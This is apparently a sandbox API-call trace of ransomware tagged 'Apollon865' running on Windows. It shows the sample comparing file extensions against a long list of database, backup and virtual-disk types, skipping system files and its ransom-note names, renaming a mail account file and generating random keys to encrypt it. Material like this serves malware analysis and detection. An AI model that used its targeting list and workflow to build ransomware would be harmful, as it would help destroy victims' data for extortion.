	[0054.759] lstrcmpiW (lpString1="unt", lpString2="trc") returned 1
	[0054.759] lstrlenW (lpString="trc") returned 3
	[0054.759] lstrcmpiW (lpString1="unt", lpString2="trc") returned 1
	[0054.759] lstrlenW (lpString="trm") returned 3
	[0054.759] lstrcmpiW (lpString1="unt", lpString2="trm") returned 1
	[0054.759] lstrlenW (lpString="udb") returned 3
	[0054.759] lstrcmpiW (lpString1="unt", lpString2="udb") returned 1
	[0054.759] lstrlenW (lpString="udl") returned 3
	[0054.759] lstrcmpiW (lpString1="unt", lpString2="udl") returned 1
	[0054.759] lstrlenW (lpString="usr") returned 3
	[0054.759] lstrcmpiW (lpString1="unt", lpString2="usr") returned -1
	[0054.759] lstrlenW (lpString="v12") returned 3
	[0054.759] lstrcmpiW (lpString1="unt", lpString2="v12") returned -1
	[0054.759] lstrlenW (lpString="vis") returned 3
	[0054.759] lstrcmpiW (lpString1="unt", lpString2="vis") returned -1
	[0054.759] lstrlenW (lpString="vpd") returned 3
	[0054.759] lstrcmpiW (lpString1="unt", lpString2="vpd") returned -1
	[0054.759] lstrlenW (lpString="vvv") returned 3
	[0054.759] lstrcmpiW (lpString1="unt", lpString2="vvv") returned -1
	[0054.759] lstrlenW (lpString="wdb") returned 3
	[0054.759] lstrcmpiW (lpString1="unt", lpString2="wdb") returned -1
	[0054.759] lstrlenW (lpString="wmdb") returned 4
	[0054.759] lstrcmpiW (lpString1="ount", lpString2="wmdb") returned -1
	[0054.759] lstrlenW (lpString="wrk") returned 3
	[0054.759] lstrcmpiW (lpString1="unt", lpString2="wrk") returned -1
	[0054.759] lstrlenW (lpString="xdb") returned 3
	[0054.759] lstrcmpiW (lpString1="unt", lpString2="xdb") returned -1
	[0054.759] lstrlenW (lpString="xld") returned 3
	[0054.760] lstrcmpiW (lpString1="unt", lpString2="xld") returned -1
	[0054.760] lstrlenW (lpString="xmlff") returned 5
	[0054.760] lstrcmpiW (lpString1="count", lpString2="xmlff") returned -1
	[0054.760] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.Apollon865") returned 120
	[0054.760] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount.apollon865"), dwFlags=0x1) returned 1
	[0054.767] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.767] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1508) returned 1
	[0054.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0054.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0054.768] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0054.768] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0054.768] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0054.768] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8f0, lpName=0x0) returned 0x118
	[0054.770] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8f0) returned 0x100000
	[0054.772] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0054.772] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0054.772] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0054.773] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0054.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0054.773] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.773] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.773] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.773] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0054.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0054.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.773] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.773] CloseHandle (hObject=0x118) returned 1
	[0054.773] CloseHandle (hObject=0x150) returned 1
	[0054.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0054.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0054.773] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.774] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6535940, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6535940, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf657b4d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", cAlternateFileName="ACCOUN~2.OEA")) returned 1
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="Apollon865.txt.exe") returned -1
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2=".") returned 1
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="..") returned 1
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="windows") returned -1
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="bootmgr") returned -1
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="temp") returned -1
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="pagefile.sys") returned -1
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="boot") returned -1
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="ids.txt") returned -1
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="ntuser.dat") returned -1
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="perflogs") returned -1
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="MSBuild") returned -1
	[0054.774] lstrlenW (lpString="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 55
	[0054.774] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 109
	[0054.774] lstrcpyW (in: lpString1=0x119e674, lpString2="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" | out: lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount"
	[0054.774] lstrlenW (lpString="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 55
	[0054.774] lstrlenW (lpString="Apollon865") returned 10
	[0054.774] lstrcmpiW (lpString1=".oeaccount", lpString2="Apollon865") returned -1
	[0054.774] lstrlenW (lpString=".dll") returned 4
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2=".dll") returned 1
	[0054.774] lstrlenW (lpString=".lnk") returned 4
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2=".lnk") returned 1
	[0054.774] lstrlenW (lpString=".ini") returned 4
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2=".ini") returned 1
	[0054.774] lstrlenW (lpString=".sys") returned 4
	[0054.774] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2=".sys") returned 1
	[0054.775] lstrlenW (lpString="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 55
	[0054.775] lstrlenW (lpString="bak") returned 3
	[0054.775] lstrcmpiW (lpString1="unt", lpString2="bak") returned 1
	[0054.775] lstrlenW (lpString="ba_") returned 3
	[0054.775] lstrcmpiW (lpString1="unt", lpString2="ba_") returned 1
	[0054.775] lstrlenW (lpString="dbb") returned 3
	[0054.775] lstrcmpiW (lpString1="unt", lpString2="dbb") returned 1
	[0054.775] lstrlenW (lpString="vmdk") returned 4
	[0054.775] lstrcmpiW (lpString1="ount", lpString2="vmdk") returned -1
	[0054.775] lstrlenW (lpString="rar") returned 3
	[0054.775] lstrcmpiW (lpString1="unt", lpString2="rar") returned 1
	[0054.775] lstrlenW (lpString="zip") returned 3
	[0054.775] lstrcmpiW (lpString1="unt", lpString2="zip") returned -1
	[0054.775] lstrlenW (lpString="tgz") returned 3
	[0054.775] lstrcmpiW (lpString1="unt", lpString2="tgz") returned 1
	[0054.775] lstrlenW (lpString="vbox") returned 4
	[0054.775] lstrcmpiW (lpString1="ount", lpString2="vbox") returned -1
	[0054.775] lstrlenW (lpString="vdi") returned 3
	[0054.775] lstrcmpiW (lpString1="unt", lpString2="vdi") returned -1
	[0054.775] lstrlenW (lpString="vhd") returned 3
	[0054.775] lstrcmpiW (lpString1="unt", lpString2="vhd") returned -1
	[0054.775] lstrlenW (lpString="vhdx") returned 4
	[0054.775] lstrcmpiW (lpString1="ount", lpString2="vhdx") returned -1
	[0054.775] lstrlenW (lpString="avhd") returned 4
	[0054.775] lstrcmpiW (lpString1="ount", lpString2="avhd") returned 1
	[0054.775] lstrlenW (lpString="db") returned 2
	[0054.775] lstrcmpiW (lpString1="nt", lpString2="db") returned 1
	[0054.775] lstrlenW (lpString="db2") returned 3
	[0054.775] lstrcmpiW (lpString1="unt", lpString2="db2") returned 1
	[0054.775] lstrlenW (lpString="db3") returned 3
	[0054.775] lstrcmpiW (lpString1="unt", lpString2="db3") returned 1
	[0054.775] lstrlenW (lpString="dbf") returned 3
	[0054.775] lstrcmpiW (lpString1="unt", lpString2="dbf") returned 1
	[0054.775] lstrlenW (lpString="mdf") returned 3
	[0054.776] lstrcmpiW (lpString1="unt", lpString2="mdf") returned 1
	[0054.776] lstrlenW (lpString="mdb") returned 3
	[0054.776] lstrcmpiW (lpString1="unt", lpString2="mdb") returned 1
	[0054.776] lstrlenW (lpString="sql") returned 3
	[0054.776] lstrcmpiW (lpString1="unt", lpString2="sql") returned 1
	[0054.776] lstrlenW (lpString="sqlite") returned 6
	[0054.776] lstrcmpiW (lpString1="ccount", lpString2="sqlite") returned -1
	[0054.776] lstrlenW (lpString="sqlite3") returned 7
	[0054.776] lstrcmpiW (lpString1="account", lpString2="sqlite3") returned -1
	[0054.776] lstrlenW (lpString="sqlitedb") returned 8
	[0054.776] lstrcmpiW (lpString1="eaccount", lpString2="sqlitedb") returned -1
	[0054.776] lstrlenW (lpString="xml") returned 3
	[0054.776] lstrcmpiW (lpString1="unt", lpString2="xml") returned -1
	[0054.776] lstrlenW (lpString="$er") returned 3
	[0054.776] lstrcmpiW (lpString1="unt", lpString2="$er") returned 1
	[0054.776] lstrlenW (lpString="4dd") returned 3
	[0054.776] lstrcmpiW (lpString1="unt", lpString2="4dd") returned 1
	[0054.776] lstrlenW (lpString="4dl") returned 3
	[0054.776] lstrcmpiW (lpString1="unt", lpString2="4dl") returned 1
	[0054.776] lstrlenW (lpString="^^^") returned 3
	[0054.776] lstrcmpiW (lpString1="unt", lpString2="^^^") returned 1
	[0054.776] lstrlenW (lpString="abs") returned 3
	[0054.776] lstrcmpiW (lpString1="unt", lpString2="abs") returned 1
	[0054.776] lstrlenW (lpString="abx") returned 3
	[0054.776] lstrcmpiW (lpString1="unt", lpString2="abx") returned 1
	[0054.776] lstrlenW (lpString="accdb") returned 5
	[0054.776] lstrcmpiW (lpString1="count", lpString2="accdb") returned 1
	[0054.776] lstrlenW (lpString="accdc") returned 5
	[0054.776] lstrcmpiW (lpString1="count", lpString2="accdc") returned 1
	[0054.776] lstrlenW (lpString="accde") returned 5
	[0054.776] lstrcmpiW (lpString1="count", lpString2="accde") returned 1
	[0054.776] lstrlenW (lpString="accdr") returned 5
	[0054.776] lstrcmpiW (lpString1="count", lpString2="accdr") returned 1
	[0054.776] lstrlenW (lpString="accdt") returned 5
	[0054.777] lstrcmpiW (lpString1="count", lpString2="accdt") returned 1
	[0054.777] lstrlenW (lpString="accdw") returned 5
	[0054.777] lstrcmpiW (lpString1="count", lpString2="accdw") returned 1
	[0054.777] lstrlenW (lpString="accft") returned 5
	[0054.777] lstrcmpiW (lpString1="count", lpString2="accft") returned 1
	[0054.777] lstrlenW (lpString="adb") returned 3
	[0054.777] lstrcmpiW (lpString1="unt", lpString2="adb") returned 1
	[0054.777] lstrlenW (lpString="adb") returned 3
	[0054.777] lstrcmpiW (lpString1="unt", lpString2="adb") returned 1
	[0054.777] lstrlenW (lpString="ade") returned 3
	[0054.777] lstrcmpiW (lpString1="unt", lpString2="ade") returned 1
	[0054.777] lstrlenW (lpString="adf") returned 3
	[0054.777] lstrcmpiW (lpString1="unt", lpString2="adf") returned 1
	[0054.777] lstrlenW (lpString="adn") returned 3
	[0054.777] lstrcmpiW (lpString1="unt", lpString2="adn") returned 1
	[0054.777] lstrlenW (lpString="adp") returned 3
	[0054.777] lstrcmpiW (lpString1="unt", lpString2="adp") returned 1
	[0054.777] lstrlenW (lpString="alf") returned 3
	[0054.777] lstrcmpiW (lpString1="unt", lpString2="alf") returned 1
	[0054.777] lstrlenW (lpString="ask") returned 3
	[0054.777] lstrcmpiW (lpString1="unt", lpString2="ask") returned 1
	[0054.777] lstrlenW (lpString="btr") returned 3
	[0054.777] lstrcmpiW (lpString1="unt", lpString2="btr") returned 1
	[0054.777] lstrlenW (lpString="cat") returned 3
	[0054.777] lstrcmpiW (lpString1="unt", lpString2="cat") returned 1
	[0054.777] lstrlenW (lpString="cdb") returned 3
	[0054.777] lstrcmpiW (lpString1="unt", lpString2="cdb") returned 1
	[0054.777] lstrlenW (lpString="ckp") returned 3
	[0054.777] lstrcmpiW (lpString1="unt", lpString2="ckp") returned 1
	[0054.777] lstrlenW (lpString="cma") returned 3
	[0054.777] lstrcmpiW (lpString1="unt", lpString2="cma") returned 1
	[0054.777] lstrlenW (lpString="cpd") returned 3
	[0054.777] lstrcmpiW (lpString1="unt", lpString2="cpd") returned 1
	[0054.777] lstrlenW (lpString="dacpac") returned 6
	[0054.778] lstrcmpiW (lpString1="ccount", lpString2="dacpac") returned -1
	[0054.778] lstrlenW (lpString="dad") returned 3
	[0054.778] lstrcmpiW (lpString1="unt", lpString2="dad") returned 1
	[0054.778] lstrlenW (lpString="dadiagrams") returned 10
	[0054.778] lstrcmpiW (lpString1=".oeaccount", lpString2="dadiagrams") returned -1
	[0054.778] lstrlenW (lpString="daschema") returned 8
	[0054.778] lstrcmpiW (lpString1="eaccount", lpString2="daschema") returned 1
	[0054.778] lstrlenW (lpString="db-journal") returned 10
	[0054.778] lstrcmpiW (lpString1=".oeaccount", lpString2="db-journal") returned -1
	[0054.778] lstrlenW (lpString="db-shm") returned 6
	[0054.778] lstrcmpiW (lpString1="ccount", lpString2="db-shm") returned -1
	[0054.778] lstrlenW (lpString="db-wal") returned 6
	[0054.778] lstrcmpiW (lpString1="ccount", lpString2="db-wal") returned -1
	[0054.778] lstrlenW (lpString="dbc") returned 3
	[0054.778] lstrcmpiW (lpString1="unt", lpString2="dbc") returned 1
	[0054.778] lstrlenW (lpString="dbs") returned 3
	[0054.778] lstrcmpiW (lpString1="unt", lpString2="dbs") returned 1
	[0054.778] lstrlenW (lpString="dbt") returned 3
	[0054.778] lstrcmpiW (lpString1="unt", lpString2="dbt") returned 1
	[0054.778] lstrlenW (lpString="dbv") returned 3
	[0054.778] lstrcmpiW (lpString1="unt", lpString2="dbv") returned 1
	[0054.778] lstrlenW (lpString="dbx") returned 3
	[0054.778] lstrcmpiW (lpString1="unt", lpString2="dbx") returned 1
	[0054.778] lstrlenW (lpString="dcb") returned 3
	[0054.778] lstrcmpiW (lpString1="unt", lpString2="dcb") returned 1
	[0054.778] lstrlenW (lpString="dct") returned 3
	[0054.778] lstrcmpiW (lpString1="unt", lpString2="dct") returned 1
	[0054.778] lstrlenW (lpString="dcx") returned 3
	[0054.778] lstrcmpiW (lpString1="unt", lpString2="dcx") returned 1
	[0054.778] lstrlenW (lpString="ddl") returned 3
	[0054.778] lstrcmpiW (lpString1="unt", lpString2="ddl") returned 1
	[0054.778] lstrlenW (lpString="dlis") returned 4
	[0054.778] lstrcmpiW (lpString1="ount", lpString2="dlis") returned 1
	[0054.778] lstrlenW (lpString="dp1") returned 3
	[0054.779] lstrcmpiW (lpString1="unt", lpString2="dp1") returned 1
	[0054.779] lstrlenW (lpString="dqy") returned 3
	[0054.779] lstrcmpiW (lpString1="unt", lpString2="dqy") returned 1
	[0054.779] lstrlenW (lpString="dsk") returned 3
	[0054.779] lstrcmpiW (lpString1="unt", lpString2="dsk") returned 1
	[0054.779] lstrlenW (lpString="dsn") returned 3
	[0054.779] lstrcmpiW (lpString1="unt", lpString2="dsn") returned 1
	[0054.779] lstrlenW (lpString="dtsx") returned 4
	[0054.779] lstrcmpiW (lpString1="ount", lpString2="dtsx") returned 1
	[0054.779] lstrlenW (lpString="dxl") returned 3
	[0054.779] lstrcmpiW (lpString1="unt", lpString2="dxl") returned 1
	[0054.779] lstrlenW (lpString="eco") returned 3
	[0054.779] lstrcmpiW (lpString1="unt", lpString2="eco") returned 1
	[0054.779] lstrlenW (lpString="ecx") returned 3
	[0054.779] lstrcmpiW (lpString1="unt", lpString2="ecx") returned 1
	[0054.779] lstrlenW (lpString="edb") returned 3
	[0054.779] lstrcmpiW (lpString1="unt", lpString2="edb") returned 1
	[0054.779] lstrlenW (lpString="epim") returned 4
	[0054.779] lstrcmpiW (lpString1="ount", lpString2="epim") returned 1
	[0054.779] lstrlenW (lpString="fcd") returned 3
	[0054.779] lstrcmpiW (lpString1="unt", lpString2="fcd") returned 1
	[0054.779] lstrlenW (lpString="fdb") returned 3
	[0054.779] lstrcmpiW (lpString1="unt", lpString2="fdb") returned 1
	[0054.779] lstrlenW (lpString="fic") returned 3
	[0054.779] lstrcmpiW (lpString1="unt", lpString2="fic") returned 1
	[0054.779] lstrlenW (lpString="flexolibrary") returned 12
	[0054.779] lstrcmpiW (lpString1="F}.oeaccount", lpString2="flexolibrary") returned -1
	[0054.779] lstrlenW (lpString="fm5") returned 3
	[0054.779] lstrcmpiW (lpString1="unt", lpString2="fm5") returned 1
	[0054.779] lstrlenW (lpString="fmp") returned 3
	[0054.779] lstrcmpiW (lpString1="unt", lpString2="fmp") returned 1
	[0054.779] lstrlenW (lpString="fmp12") returned 5
	[0054.779] lstrcmpiW (lpString1="count", lpString2="fmp12") returned -1
	[0054.779] lstrlenW (lpString="fmpsl") returned 5
	[0054.780] lstrcmpiW (lpString1="count", lpString2="fmpsl") returned -1
	[0054.780] lstrlenW (lpString="fol") returned 3
	[0054.780] lstrcmpiW (lpString1="unt", lpString2="fol") returned 1
	[0054.780] lstrlenW (lpString="fp3") returned 3
	[0054.780] lstrcmpiW (lpString1="unt", lpString2="fp3") returned 1
	[0054.780] lstrlenW (lpString="fp4") returned 3
	[0054.780] lstrcmpiW (lpString1="unt", lpString2="fp4") returned 1
	[0054.780] lstrlenW (lpString="fp5") returned 3
	[0054.780] lstrcmpiW (lpString1="unt", lpString2="fp5") returned 1
	[0054.780] lstrlenW (lpString="fp7") returned 3
	[0054.780] lstrcmpiW (lpString1="unt", lpString2="fp7") returned 1
	[0054.780] lstrlenW (lpString="fpt") returned 3
	[0054.780] lstrcmpiW (lpString1="unt", lpString2="fpt") returned 1
	[0054.780] lstrlenW (lpString="frm") returned 3
	[0054.780] lstrcmpiW (lpString1="unt", lpString2="frm") returned 1
	[0054.780] lstrlenW (lpString="gdb") returned 3
	[0054.780] lstrcmpiW (lpString1="unt", lpString2="gdb") returned 1
	[0054.780] lstrlenW (lpString="gdb") returned 3
	[0054.780] lstrcmpiW (lpString1="unt", lpString2="gdb") returned 1
	[0054.780] lstrlenW (lpString="grdb") returned 4
	[0054.780] lstrcmpiW (lpString1="ount", lpString2="grdb") returned 1
	[0054.780] lstrlenW (lpString="gwi") returned 3
	[0054.780] lstrcmpiW (lpString1="unt", lpString2="gwi") returned 1
	[0054.780] lstrlenW (lpString="hdb") returned 3
	[0054.780] lstrcmpiW (lpString1="unt", lpString2="hdb") returned 1
	[0054.780] lstrlenW (lpString="his") returned 3
	[0054.780] lstrcmpiW (lpString1="unt", lpString2="his") returned 1
	[0054.780] lstrlenW (lpString="ib") returned 2
	[0054.780] lstrcmpiW (lpString1="nt", lpString2="ib") returned 1
	[0054.780] lstrlenW (lpString="idb") returned 3
	[0054.780] lstrcmpiW (lpString1="unt", lpString2="idb") returned 1
	[0054.780] lstrlenW (lpString="ihx") returned 3
	[0054.780] lstrcmpiW (lpString1="unt", lpString2="ihx") returned 1
	[0054.780] lstrlenW (lpString="itdb") returned 4
	[0054.781] lstrcmpiW (lpString1="ount", lpString2="itdb") returned 1
	[0054.781] lstrlenW (lpString="itw") returned 3
	[0054.781] lstrcmpiW (lpString1="unt", lpString2="itw") returned 1
	[0054.781] lstrlenW (lpString="jet") returned 3
	[0054.781] lstrcmpiW (lpString1="unt", lpString2="jet") returned 1
	[0054.781] lstrlenW (lpString="jtx") returned 3
	[0054.781] lstrcmpiW (lpString1="unt", lpString2="jtx") returned 1
	[0054.781] lstrlenW (lpString="kdb") returned 3
	[0054.781] lstrcmpiW (lpString1="unt", lpString2="kdb") returned 1
	[0054.781] lstrlenW (lpString="kexi") returned 4
	[0054.781] lstrcmpiW (lpString1="ount", lpString2="kexi") returned 1
	[0054.781] lstrlenW (lpString="kexic") returned 5
	[0054.781] lstrcmpiW (lpString1="count", lpString2="kexic") returned -1
	[0054.781] lstrlenW (lpString="kexis") returned 5
	[0054.781] lstrcmpiW (lpString1="count", lpString2="kexis") returned -1
	[0054.781] lstrlenW (lpString="lgc") returned 3
	[0054.781] lstrcmpiW (lpString1="unt", lpString2="lgc") returned 1
	[0054.781] lstrlenW (lpString="lwx") returned 3
	[0054.781] lstrcmpiW (lpString1="unt", lpString2="lwx") returned 1
	[0054.781] lstrlenW (lpString="maf") returned 3
	[0054.781] lstrcmpiW (lpString1="unt", lpString2="maf") returned 1
	[0054.781] lstrlenW (lpString="maq") returned 3
	[0054.781] lstrcmpiW (lpString1="unt", lpString2="maq") returned 1
	[0054.781] lstrlenW (lpString="mar") returned 3
	[0054.781] lstrcmpiW (lpString1="unt", lpString2="mar") returned 1
	[0054.781] lstrlenW (lpString="marshal") returned 7
	[0054.781] lstrcmpiW (lpString1="account", lpString2="marshal") returned -1
	[0054.781] lstrlenW (lpString="mas") returned 3
	[0054.781] lstrcmpiW (lpString1="unt", lpString2="mas") returned 1
	[0054.781] lstrlenW (lpString="mav") returned 3
	[0054.781] lstrcmpiW (lpString1="unt", lpString2="mav") returned 1
	[0054.781] lstrlenW (lpString="maw") returned 3
	[0054.782] lstrcmpiW (lpString1="unt", lpString2="maw") returned 1
	[0054.782] lstrlenW (lpString="mdbhtml") returned 7
	[0054.782] lstrcmpiW (lpString1="account", lpString2="mdbhtml") returned -1
	[0054.782] lstrlenW (lpString="mdn") returned 3
	[0054.782] lstrcmpiW (lpString1="unt", lpString2="mdn") returned 1
	[0054.782] lstrlenW (lpString="mdt") returned 3
	[0054.782] lstrcmpiW (lpString1="unt", lpString2="mdt") returned 1
	[0054.782] lstrlenW (lpString="mfd") returned 3
	[0054.782] lstrcmpiW (lpString1="unt", lpString2="mfd") returned 1
	[0054.782] lstrlenW (lpString="mpd") returned 3
	[0054.782] lstrcmpiW (lpString1="unt", lpString2="mpd") returned 1
	[0054.782] lstrlenW (lpString="mrg") returned 3
	[0054.782] lstrcmpiW (lpString1="unt", lpString2="mrg") returned 1
	[0054.782] lstrlenW (lpString="mud") returned 3
	[0054.782] lstrcmpiW (lpString1="unt", lpString2="mud") returned 1
	[0054.782] lstrlenW (lpString="mwb") returned 3
	[0054.782] lstrcmpiW (lpString1="unt", lpString2="mwb") returned 1
	[0054.782] lstrlenW (lpString="myd") returned 3
	[0054.782] lstrcmpiW (lpString1="unt", lpString2="myd") returned 1
	[0054.782] lstrlenW (lpString="ndf") returned 3
	[0054.782] lstrcmpiW (lpString1="unt", lpString2="ndf") returned 1
	[0054.782] lstrlenW (lpString="nnt") returned 3
	[0054.782] lstrcmpiW (lpString1="unt", lpString2="nnt") returned 1
	[0054.782] lstrlenW (lpString="nrmlib") returned 6
	[0054.782] lstrcmpiW (lpString1="ccount", lpString2="nrmlib") returned -1
	[0054.782] lstrlenW (lpString="ns2") returned 3
	[0054.782] lstrcmpiW (lpString1="unt", lpString2="ns2") returned 1
	[0054.782] lstrlenW (lpString="ns3") returned 3
	[0054.782] lstrcmpiW (lpString1="unt", lpString2="ns3") returned 1
	[0054.782] lstrlenW (lpString="ns4") returned 3
	[0054.782] lstrcmpiW (lpString1="unt", lpString2="ns4") returned 1
	[0054.782] lstrlenW (lpString="nsf") returned 3
	[0054.782] lstrcmpiW (lpString1="unt", lpString2="nsf") returned 1
	[0054.782] lstrlenW (lpString="nv") returned 2
	[0054.782] lstrcmpiW (lpString1="nt", lpString2="nv") returned -1
	[0054.782] lstrlenW (lpString="nv2") returned 3
	[0054.782] lstrcmpiW (lpString1="unt", lpString2="nv2") returned 1
	[0054.782] lstrlenW (lpString="nwdb") returned 4
	[0054.782] lstrcmpiW (lpString1="ount", lpString2="nwdb") returned 1
	[0054.783] lstrlenW (lpString="nyf") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="nyf") returned 1
	[0054.783] lstrlenW (lpString="odb") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="odb") returned 1
	[0054.783] lstrlenW (lpString="odb") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="odb") returned 1
	[0054.783] lstrlenW (lpString="oqy") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="oqy") returned 1
	[0054.783] lstrlenW (lpString="ora") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="ora") returned 1
	[0054.783] lstrlenW (lpString="orx") returned 3
	[0054.783] lstrcmpiW (lpString1="unt", lpString2="orx") returned 1
